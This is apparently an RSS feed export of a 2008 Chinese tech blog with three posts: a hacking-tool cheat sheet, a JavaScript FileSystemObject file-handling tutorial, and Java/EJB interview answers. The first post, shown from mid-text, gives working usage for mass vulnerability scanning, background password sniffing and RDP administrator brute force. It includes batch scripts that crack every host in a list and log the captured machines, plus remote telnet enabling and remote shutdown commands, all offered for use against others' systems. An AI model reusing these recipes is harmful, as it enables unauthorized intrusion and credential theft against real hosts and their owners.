/>| 管道命令<br />&lt; 或 > 重定向命令。“&lt;”，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令<br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt >> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中<br />>与>>的区别 　">"指：覆盖；">>"指：保存到(添加到）。<br />如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。<br /><br />#8 八：<br /><br />2、扫锚工具：xscan.exe<br /><br />基本格式<br />xscan -host &lt;起始IP>[-&lt;终止IP>] &lt;检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息<br />xscan -file &lt;主机列表文件名> &lt;检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息<br />检测项目<br />-active 检测主机是否存活<br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）<br />-port 检测常用服务的端口状态<br />-ftp 检测FTP弱口令<br />-pub 检测FTP服务匿名用户写权限<br />-pop3 检测POP3-Server弱口令<br />-smtp 检测SMTP-Server漏洞<br />-sql 检测SQL-Server弱口令<br />-smb 检测NT-Server弱口令<br />-iis 检测IIS编码/解码漏洞<br />-cgi 检测CGI漏洞<br />-nasl 加载Nessus攻击脚本<br />-all 检测以上所有项目<br />其它选项<br />-i 适配器编号 设置网络适配器, &lt;适配器编号>可通过"-l"参数获取<br />-l 显示所有网络适配器<br />-v 显示详细扫描进度<br />-p 跳过没有响应的主机<br />-o 跳过没有检测到开放端口的主机<br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10<br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件)<br />用法示例<br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机<br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机<br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机<br /><br />#9 九：<br /><br />3、命令行方式嗅探器: xsniff.exe<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />参数说明<br />-tcp 输出TCP数据报<br />-udp 输出UDP数据报<br />-icmp 输出ICMP数据报<br />-pass 过滤密码信息<br />-hide 后台运行<br />-host 解析主机名<br />-addr IP地址 过滤IP地址<br />-port 端口 过滤端口<br />-log 文件名 将输出保存到文件<br />-asc 以ASCII形式输出<br />-hex 以16进制形式输出<br />用法示例<br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中<br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出<br /><br />4、终端服务密码破解: tscrack.exe<br /><br />参数说明<br />-h 显示使用帮助<br />-v 显示版本信息<br />-s 在屏幕上打出解密能力<br />-b 密码错误时发出的声音<br />-t 同是发出多个连接（多线程）<br />-N Prevent System Log entries on targeted server<br />-U 卸载移除tscrack组件<br />-f 使用－f后面的密码<br />-F 间隔时间（频率）<br />-l 使用－l后面的用户名<br />-w 使用－w后面的密码字典<br />-p 使用－p后面的密码<br />-D 登录主页面<br />用法示例<br />tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码<br />tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户<br />@if not exist ipcscan.txt goto noscan<br />@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i<br />nscan<br />@echo 3389.txt no find or scan faild<br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)<br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat<br />@if not exist tscrack.exe goto noscan<br />@tscrack %1 -l administrator -w pass.dic >>rouji.txt<br />:noscan<br />@echo tscrack.exe no find or scan faild<br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了)<br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。<br /><br />5、其它：<br /><br />Shutdown.exe<br />Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。）<br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙）<br />fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息<br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的 88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。<br />OpenTelnet.exe (远程开启telnet工具)<br />opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。<br />NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。<br /><br />ResumeTelnet.exe (OpenTelnet附带的另一个工具)<br />resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。<br /><br />#10 十：<br /><br />6、FTP命令详解：<br /><br />FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。<br /><br />FTP的命令行格式为：<br />ftp -v -d -i -n -g [主机名] ，其中<br /><br />-v 显示远程服务器的所有响应信息；<br /><br />-n 限制ftp的自动登录，即不使用；.n etrc文件；<br /><br />-d 使用调试方式；<br /><br />-g 取消全局文件名。<br /><br />FTP使用的内部命令如下(中括号表示可选项):<br /><br />1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip<br />2.$ macro-ame[args]： 执行宏定义macro-name。<br /><br />3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。<br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。<br /><br />5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。<br /><br />7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。<br /><br />9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。<br />10.cd remote-dir：进入远程主机目录。<br /><br />11.cdup：进入远程主机目录的父目录。<br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。<br /><br />13.close：中断与远程服务器的ftp会话(与open对应)。<br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。<br /><br />15.delete remote-file：删除远程主机文件。<br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。<br /><br />17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。<br />18.disconnection：同close。<br /><br />19.form format：将文件传输方式设置为format，缺省为file方式。<br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。<br /><br />21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。<br />22.hash：每传输1024字节，显示一个hash符号(#)。<br /><br />23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。<br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。<br /><br />25.image：设置二进制传输方式(同binary)。<br />26.lcd[dir]：将本地工作目录切换至dir。<br /><br />27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。<br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。<br /><br />29.mdelete[remote-file]：删除远程主机文件。<br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。<br /><br />31.mget remote-files：传输多个远程文件。<br />32.mkdir dir-name：在远程主机中建一目录。<br /><br />33.mls remote-file local-file：同nlist，但可指定多个文件名。<br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。<br /><br />35.modtime file-name：显示远程主机文件的最后修改时间。<br />36.mput local-file：将多个文件传输至远程主机。<br /><br />37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。<br /><br />39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。该命令特别适用于远程主机为非UNIX机的情况。<br />40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。<br /><br />41.open host[port]：建立指定ftp服务器连接，可指定连接端口。<br />42.passive：进入被动传输方式。<br /><br />43.prompt：设置多个文件传输时的交互提示。<br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。<br />46.pwd：显示远程主机的当前工作目录。<br /><br />47.quit：同bye，退出ftp会话。<br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.<br /><br />49.recv remote-file[local-file]：同get。<br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。<br /><br />51.rhelp[cmd-name]：请求获得远程主机的帮助。<br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。<br /><br />53.rename[from][to]：更改远程主机文件名。<br />54.reset：清除回答队列。<br /><br />55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。<br />56.rmdir dir-name：删除远程主机目录。<br /><br />57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。<br />58.send local-file[remote-file]：同put。<br /><br />59.sendport：设置PORT命令的使用。<br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。<br /><br />61.size file-name：显示远程主机文件大小，如：site idle 7200。<br />62.status：显示当前ftp状态。<br /><br />63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。<br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。<br /><br />65.system：显示远程主机的操作系统类型。<br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。<br /><br />67.tick：设置传输时的字节计数器。<br />68.trace：设置包跟踪。<br /><br />69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。<br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3<br /><br />71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。<br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.<br /><br />73.?[cmd]：同help.<br /><br />#11 十一：<br /><br />7：计算机运行命令全集 winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />wscript--------windows脚本宿主设置<br />write----------写字板winmsd-----系统信息<br />wiaacmgr-------扫描仪和照相机向导<br />winchat--------XP自带局域网聊天<br />mem.exe--------显示内存使用情况<br />Msconfig.exe---系统配置实用程序<br />mplayer2-------简易widnows media player<br />mspaint--------画图板<br />mstsc----------远程桌面连接<br />mplayer2-------媒体播放机<br />magnify--------放大镜实用程序<br />mmc------------打开控制台<br />mobsync--------同步命令<br />dxdiag---------检查DirectX信息<br />drwtsn32------ 系统医生<br />devmgmt.msc--- 设备管理器<br />dfrg.msc-------磁盘碎片整理程序<br />diskmgmt.msc---磁盘管理实用程序<br />dcomcnfg-------打开系统组件服务<br />ddeshare-------打开DDE共享设置<br />dvdplay--------DVD播放器<br />net stop messenger-----停止信使服务<br />net start messenger----开始信使服务<br />notepad--------打开记事本<br />nslookup-------网络管理的工具向导<br />ntbackup-------系统备份和还原<br />narrator-------屏幕"讲述人"<br />ntmsmgr.msc----移动存储管理器<br />ntmsoprq.msc---移动存储管理员操作请求<br />netstat -an----(TC)命令检查接口<br />syncapp--------创建一个公文包<br />sysedit--------系统配置编辑器<br />sigverif-------文件签名验证程序<br />sndrec32-------录音机<br />shrpubw--------创建共享文件夹<br />secpol.msc-----本地安全策略<br />syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />services.msc---本地服务设置<br />Sndvol32-------音量控制程序<br />sfc.exe--------系统文件检查器<br />sfc /scannow---windows文件保护<br />tsshutdn-------60秒倒计时关机命令<br />tourstart------xp简介（安装完成后出现的漫游xp程序）<br />taskmgr--------任务管理器<br />eventvwr-------事件查看器<br />eudcedit-------造字程序<br />explorer-------打开资源管理器<br />packager-------对象包装程序<br />perfmon.msc----计算机性能监测程序<br />progman--------程序管理器<br />regedit.exe----注册表<br />rsop.msc-------组策略结果集<br />regedt32-------注册表编辑器<br />rononce -p ----15秒关机<br />regsvr32 /u *.dll----停止dll文件运行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />cmd.exe--------CMD命令提示符<br />chkdsk.exe-----Chkdsk磁盘检查<br />certmgr.msc----证书管理实用程序<br />calc-----------启动计算器<br />charmap--------启动字符映射表<br />cliconfg-------SQL SERVER 客户端网络实用程序<br />Clipbrd--------剪贴板查看器<br />conf-----------启动netmeeting<br />compmgmt.msc---计算机管理<br />cleanmgr-------**整理<br />ciadv.msc------索引服务程序<br />osk------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----检查XP是否激活<br />lusrmgr.msc----本机用户和组<br />logoff---------注销命令<br />iexpress-------木马捆绑工具，系统自带<br />Nslookup-------IP地址侦测器<br />fsmgmt.msc-----共享文件夹管理器<br />utilman--------辅助工具管理器<br />gpedit.msc-----组策略
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        </description>
        <pubDate>Thu, 27 Mar 2008 15:08:57 +0800</pubDate>
        <link>http://sunwinds1900.javaeye.com/blog/176779</link>
        <guid>http://sunwinds1900.javaeye.com/blog/176779</guid>
      </item>
          <item>
        <title>Javascript----文件操作</title>
        <author>sunwinds1900</author>
        <description>
          <![CDATA[
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          作者: <a href="http://sunwinds1900.javaeye.com">sunwinds1900</a>&nbsp;
                    链接：<a href="http://sunwinds1900.javaeye.com/blog/175883" style="color:red;">http://sunwinds1900.javaeye.com/blog/175883</a>&nbsp;
          发表时间: 2008年03月25日
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          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
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          一、功能实现核心：FileSystemObject 对象<br />&nbsp;&nbsp;&nbsp; 要在javascript中实现文件操作功能，主要就是依靠FileSystemobject对象。<br />二、FileSystemObject编程<br />使用FileSystemObject 对象进行编程很简单，一般要经过如下的步骤：创建FileSystemObject对象、应用相关方法、访问对象相关属性 。<br />（一）创建FileSystemObject对象<br />创建FileSystemObject对象的代码只要1行：<br />var fso = new ActiveXObject("Scripting.FileSystemObject");<br />上述代码执行后，fso就成为一个FileSystemObject对象实例。<br />（二）应用相关方法<br />创建对象实例后，就可以使用对象的相关方法了。比如，使用CreateTextFile方法创建一个文本文件：<br />var fso = new ActiveXObject("Scripting.FileSystemObject");<br />var f1 = fso.createtextfile("c:\\myjstest.txt",true");<br />（三）访问对象相关属性<br />要访问对象的相关属性，首先要建立指向对象的句柄，这就要通过get系列方法实现：GetDrive负责获取驱动器信息，GetFolder负责获取文件夹信息，GetFile负责获取文件信息。比如，指向下面的代码后，f1就成为指向文件c:\test.txt的句柄：<br />var fso = new ActiveXObject("Scripting.FileSystemObject");<br />var f1 = fso.GetFile("c:\\myjstest.txt");<br />然后，使用f1访问对象的相关属性。比如：<br />var fso = new ActiveXObject("Scripting.FileSystemObject");<br />var f1 = fso.GetFile("c:\\myjstest.txt");<br />alert("File last modified: " + f1.DateLastModified);<br />执行上面最后一句后，将显示c:\myjstest.txt的最后修改日期属性值。<br />但有一点请注意：对于使用create方法建立的对象，就不必再使用get方法获取对象句柄了，这时直接使用create方法建立的句柄名称就可以：<br />var fso = new ActiveXObject("Scripting.FileSystemObject");<br />var f1 = fso.createtextfile("c:\\myjstest.txt",true");<br />alert("File last modified: " + f1.DateLastModified);<br />三、操作驱动器（Drives）<br />使用FileSystemObject对象来编程操作驱动器（Drives）和文件夹（Folders）很容易，这就象在Windows文件浏览器中对文件进行交互操作一样，比如：拷贝、移动文件夹，获取文件夹的属性。<br />（一）Drives对象属性<br />Drive对象负责收集系统中的物理或逻辑驱动器资源内容，它具有如下属性：<br />l TotalSize：以字节（byte）为单位计算的驱动器大小。<br />l AvailableSpace或FreeSpace：以字节（byte）为单位计算的驱动器可用空间。<br />l DriveLetter：驱动器字母。<br />l DriveType：驱动器类型，取值为：removable（移动介质）、fixed（固定介质）、network（网络资源）、CD-ROM或者RAM盘。<br />l SerialNumber：驱动器的系列码。<br />l FileSystem：所在驱动器的文件系统类型，取值为FAT、FAT32和NTFS。<br />l IsReady：驱动器是否可用。<br />l ShareName：共享名称。<br />l VolumeName：卷标名称。<br />l Path和RootFolder：驱动器的路径或者根目录名称。<br />（二）Drive对象操作例程<br />下面的例程显示驱动器C的卷标、总容量和可用空间等信息：<br />var fso, drv, s ="";<br />fso = new ActiveXObject("Scripting.FileSystemObject");<br />drv = fso.GetDrive(fso.GetDriveName("c:\\"));<br />s += "Drive C:" + " - ";<br />s += drv.VolumeName + "\n";<br />s += "Total Space: " + drv.TotalSize / 1024;<br />s += " Kb" + "\n";<br />s += "Free Space: " + drv.FreeSpace / 1024;<br />s += " Kb" + "\n";<br />alert(s);<br />四、操作文件夹（Folders）<br />涉及到文件夹的操作包括创建、移动、删除以及获取相关属性。<br />Folder对象操作例程 :<br />下面的例程将练习获取父文件夹名称、创建文件夹、删除文件夹、判断是否为根目录等操作：<br />var fso, fldr, s = "";<br />// 创建FileSystemObject对象实例<br />fso = new ActiveXObject("Scripting.FileSystemObject");<br />// 获取Drive 对象<br />fldr = fso.GetFolder("c:\\");<br />// 显示父目录名称<br />alert("Parent folder name is: " + fldr + "\n");<br />// 显示所在drive名称<br />alert("Contained on drive " + fldr.Drive + "\n");<br />// 判断是否为根目录<br />if (fldr.IsRootFolder)<br />alert("This is the root folder.");<br />else<br />alert("This folder isn't a root folder.");<br />alert("\n\n");<br />// 创建新文件夹<br />fso.CreateFolder ("C:\\Bogus");<br />alert("Created folder C:\\Bogus" + "\n");<br />// 显示文件夹基础名称，不包含路径名<br />alert("Basename = " + fso.GetBaseName("c:\\bogus") + "\n");<br />// 删除创建的文件夹<br />fso.DeleteFolder ("C:\\Bogus");<br />alert("Deleted folder C:\\Bogus" + "\n");<br />五、操作文件（Files）<br />对文件进行的操作要比以上介绍的驱动器（Drive）和文件夹（Folder）操作复杂些，基本上分为以下两个类别：对文件的创建、拷贝、移动、删除操作和对文件内容的创建、添加、删除和读取操作。下面分别详细介绍。<br />（一）创建文件<br />一共有3种方法可用于创建一个空文本文件，这种文件有时候也叫做文本流（text stream）。<br />第一种是使用CreateTextFile方法。代码如下：<br />var fso, f1;<br />fso = new ActiveXObject("Scripting.FileSystemObject");<br />f1 = fso.CreateTextFile("c:\\testfile.txt", true);<br />第二种是使用OpenTextFile方法，并添加上ForWriting属性，ForWriting的值为2。代码如下：<br />var fso, ts;<br />var ForWriting= 2;<br />fso = new ActiveXObject("Scripting.FileSystemObject");<br />ts = fso.OpenTextFile("c:\\test.txt", ForWriting, true);<br />第三种是使用OpenAsTextStream方法，同样要设置好ForWriting属性。代码如下：<br />var fso, f1, ts;<br />var ForWriting = 2;<br />fso = new ActiveXObject("Scripting.FileSystemObject");<br />fso.CreateTextFile ("c:\\test1.txt");<br />f1 = fso.GetFile("c:\\test1.txt");<br />ts = f1.OpenAsTextStream(ForWriting, true);<br />（二）添加数据到文件<br />当文件被创建后，一般要按照“打开文件－>填写数据－>关闭文件”的步骤实现添加数据到文件的目的。<br />打开文件可使用FileSystemObject对象的OpenTextFile方法，或者使用File对象的OpenAsTextStream方法。<br />填写数据要使用到TextStream对象的Write、WriteLine或者WriteBlankLines方法。在同是实现写入数据的功能下，这3 者的区别在于：Write方法不在写入数据末尾添加新换行符，WriteLine方法要在最后添加一个新换行符，而WriteBlankLines则增加一个或者多个空行。<br />关闭文件可使用TextStream对象的Close方法。<br />（三）创建文件及添加数据例程<br />下面的代码将创建文件、添加数据、关闭文件几个步骤结合起来进行应用：<br />var fso, tf;<br />fso = new ActiveXObject("Scripting.FileSystemObject");<br />// 创建新文件<br />tf = fso.CreateTextFile("c:\\testfile.txt", true);<br />// 填写数据，并增加换行符<br />tf.WriteLine("Testing 1, 2, 3.") ;<br />// 增加3个空行<br />tf.WriteBlankLines(3) ;<br />// 填写一行，不带换行符<br />tf.Write ("This is a test.");<br />// 关闭文件<br />tf.Close();<br />（四）读取文件内容<br />从文本文件中读取数据要使用TextStream对象的Read、ReadLine或ReadAll 方法。Read方法用于读取文件中指定数量的字符；ReadLine方法读取一整行，但不包括换行符；ReadAll方法则读取文本文件的整个内容。读取的内容存放于字符串变量中，用于显示、分析。在使用Read或ReadLine方法读取文件内容时，如果要跳过一些部分，就要用到Skip或 SkipLine方法。<br />下面的代码演示打开文件、填写数据，然后读取数据：<br />var fso, f1, ts, s;<br />var ForReading = 1;<br />fso = new ActiveXObject("Scripting.FileSystemObject");<br />// 创建文件<br />f1 = fso.CreateTextFile("c:\\testfile.txt", true);<br />// 填写一行数据<br />f1.WriteLine("Hello World");<br />f1.WriteBlankLines(1);<br />// 关闭文件<br />f1.Close();<br />// 打开文件<br />ts = fso.OpenTextFile("c:\\testfile.txt", ForReading);<br />// 读取文件一行内容到字符串<br />s = ts.ReadLine();<br />// 显示字符串信息<br />alert("File contents = '" + s + "'");<br />// 关闭文件<br />ts.Close();<br />（五）移动、拷贝和删除文件<br />对于以上三种文件操作，javascript各有两种对应的方法：File.Move 或 FileSystemObject.MoveFile用于移动文件；File.Copy 或 FileSystemObject.CopyFile用于拷贝文件；File.Delete 或 FileSystemObject.DeleteFile用于删除文件。<br />下面的代码演示在驱动器C的根目录下创建一个文本文件，填写一些内容，然后将文件移动到\tmp目录下，再在目录\temp下面建立一个文件拷贝，最后删除这两个目录的文件：<br />var fso, f1, f2, s;<br />fso = new ActiveXObject("Scripting.FileSystemObject");<br />f1 = fso.CreateTextFile("c:\\testfile.txt", true);<br />// 写一行<br />f1.Write("This is a test.");<br />// 关闭文件<br />f1.Close();<br />// 获取C:\根目录下的文件句柄<br />f2 = fso.GetFile("c:\\testfile.txt");<br />// 移动文件到\tmp目录下<br />f2.Move ("c:\\tmp\\testfile.txt");<br />// 拷贝文件到\temp目录下<br />f2.Copy ("c:\\temp\\testfile.txt");<br />// 获取文件句柄<br />f2 = fso.GetFile("c:\\tmp\\testfile.txt");<br />f3 = fso.GetFile("c:\\temp\\testfile.txt");<br />// 删除文件<br />f2.Delete();<br />f3.Delete();<br />六、结 语<br />通过以上对FileSystemObject的各种对象、属性和方法的介绍和示例，相信你已经对如何使用javascript语言在页面中操作驱动器、文件和文件夹有了清晰的认识。但是上述提及的例程都非常简单，要全面、灵活地掌握javascript文件操作技术，还需要大量的实践练习。而且还有一点提醒大家，由于涉及到在浏览器中进行文件读写这样的高级操作，对于默认的浏览器安全级别而言，在代码运行前都会有一个信息提示，这点请在实际环境中提示访问者注意。
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        <pubDate>Tue, 25 Mar 2008 16:19:31 +0800</pubDate>
        <link>http://sunwinds1900.javaeye.com/blog/175883</link>
        <guid>http://sunwinds1900.javaeye.com/blog/175883</guid>
      </item>
          <item>
        <title>常见的java问题2</title>
        <author>sunwinds1900</author>
        <description>
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          作者: <a href="http://sunwinds1900.javaeye.com">sunwinds1900</a>&nbsp;
                    链接：<a href="http://sunwinds1900.javaeye.com/blog/175858" style="color:red;">http://sunwinds1900.javaeye.com/blog/175858</a>&nbsp;
          发表时间: 2008年03月25日
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          72、EJB的角色和三个对象<br />　一个完整的基于EJB的分布式计算结构由六个角色组成，这六个角色可以由不同的开发商提供，每个角色所作的工作必须遵循Sun公司提供的EJB规范，以保证彼此之间的兼容性。这六个角色分别是EJB组件开发者（Enterprise Bean Provider）、应用组合者（Application Assembler）、部署者（Deployer）、EJB 服务器提供者（EJB ServerProvider）、EJB 容器提供者（EJB Container Provider）、系统管理员（System Administrator）<br />三个对象是Remote（Local）接口、Home（LocalHome）接口，Bean类<br /><br />73、EJB容器提供的服务<br />主要提供声明周期管理、代码产生、持续性管理、安全、事务管理、锁和并发行管理等服务。<br /><br />74、EJB规范规定EJB中禁止的操作有哪些？<br />1.不能操作线程和线程API(线程API指非线程对象的方法如notify,wait等)，<br />2.不能操作awt，<br />3.不能实现服务器功能，<br />4.不能对静态属性存取，<br />5.不能使用IO操作直接存取文件系统，<br />6.不能加载本地库.，<br />7.不能将this作为变量和返回，<br />8.不能循环调用。<br /><br />75、remote接口和home接口主要作用<br />remote接口定义了业务方法，用于EJB客户端调用业务方法。<br />home接口是EJB工厂用于创建和移除查找EJB实例<br /><br />76、bean 实例的生命周期<br />　　对于Stateless Session Bean、Entity Bean、Message DrivenBean一般存在缓冲池管理，而对于Entity Bean和Statefull SessionBean存在Cache管理，通常包含创建实例，设置上下文、创建EJBObject（create）、业务方法调用、remove等过程，对于存在缓冲池管理的Bean，在create之后实例并不从内存清除，而是采用缓冲池调度机制不断重用实例，而对于存在Cache管理的Bean则通过激活和去激活机制保持Bean的状态并限制内存中实例数量。<br /><br />77、EJB的激活机制<br />　　以Stateful Session Bean为例：其Cache大小决定了内存中可以同时存在的Bean实例的数量，根据MRU或NRU算法，实例在激活和去激活状态之间迁移，激活机制是当客户端调用某个EJB实例业务方法时，如果对应EJBObject发现自己没有绑定对应的Bean实例则从其去激活Bean存储中（通过序列化机制存储实例）回复（激活）此实例。状态变迁前会调用对应的ejbActive和ejbPassivate方法。<br /><br />78、EJB的几种类型<br />会话（Session）Bean ，实体（Entity）Bean 消息驱动的（Message Driven）Bean<br />会话Bean又可分为有状态（Stateful）和无状态（Stateless）两种<br />实体Bean可分为Bean管理的持续性（BMP）和容器管理的持续性（CMP）两种<br /><br />79、客服端调用EJB对象的几个基本步骤<br />设置JNDI服务工厂以及JNDI服务地址系统属性，查找Home接口，从Home接口调用Create方法创建Remote接口，通过Remote接口调用其业务方法。<br /><br />80、如何给weblogic指定大小的内存?<br />　　在启动Weblogic的脚本中（位于所在Domian对应服务器目录下的startServerName），增加set MEM_ARGS=-Xms32m -Xmx200m，可以调整最小内存为32M，最大200M<br />81、如何设定的weblogic的热启动模式(开发模式)与产品发布模式?<br />可以在管理控制台中修改对应服务器的启动模式为开发或产品模式之一。或者修改服务的启动文件或者commenv文件，增加set PRODUCTION_MODE=true。<br /><br />82、如何启动时不需输入用户名与密码?<br />　　修改服务启动文件，增加 WLS_USER和WLS_PW项。也可以在boot.properties文件中增加加密过的用户名和密码.<br /><br />83、在weblogic管理制台中对一个应用域(或者说是一个网站,Domain)进行jms及ejb或连接池等相关信息进行配置后,实际保存在什么文件中?<br />　　保存在此Domain的config.xml文件中，它是服务器的核心配置文件。<br /><br />84、说说weblogic中一个Domain的缺省目录结构?比如要将一个简单的helloWorld.jsp放入何目录下,然的在浏览器上就可打入 http://主机:端口号//helloword.jsp就可以看到运行结果了?又比如这其中用到了一个自己写的javaBean该如何办?<br />　　Domain目录服务器目录applications，将应用目录放在此目录下将可以作为应用访问，如果是Web应用，应用目录需要满足Web应用目录要求，jsp文件可以直接放在应用目录中，Javabean需要放在应用目录的WEB-INF目录的classes目录中，设置服务器的缺省应用将可以实现在浏览器上无需输入应用名。<br /><br />85、在weblogic中发布ejb需涉及到哪些配置文件<br />　　不同类型的EJB涉及的配置文件不同，都涉及到的配置文件包括ejb-jar.xml,weblogic-ejb-jar.xmlCMP实体Bean一般还需要weblogic-cmp-rdbms-jar.xml<br /><br />86、如何在weblogic中进行ssl配置与客户端的认证配置或说说j2ee(标准)进行ssl的配置<br />　　缺省安装中使用DemoIdentity.jks和DemoTrust.jks&nbsp;&nbsp;&nbsp; KeyStore实现SSL，需要配置服务器使用EnableSSL，配置其端口，在产品模式下需要从CA获取私有密钥和数字证书，创建identity 和trustkeystore，装载获得的密钥和数字证书。可以配置此SSL连接是单向还是双向的。<br /><br />87、如何查看在weblogic中已经发布的EJB?<br />可以使用管理控制台，在它的Deployment中可以查看所有已发布的EJB<br /><br />88、CORBA是什么?用途是什么?<br />　　CORBA 标准是公共对象请求代理结构(Common Object Request Broker Architecture)，由对象管理组织(Object Management Group，缩写为 OMG)标准化。它的组成是接口定义语言(IDL),语言绑定(binding:也译为联编)和允许应用程序间互操作的协议。其目的为：用不同的程序设计语言书写在不同的进程中运行，为不同的操作系统开发。<br /><br />89、说说你所熟悉或听说过的j2ee中的几种常用模式?及对设计模式的一些看法<br />&nbsp;&nbsp;&nbsp; Session Facade Pattern：使用SessionBean访问EntityBean<br />Message Facade 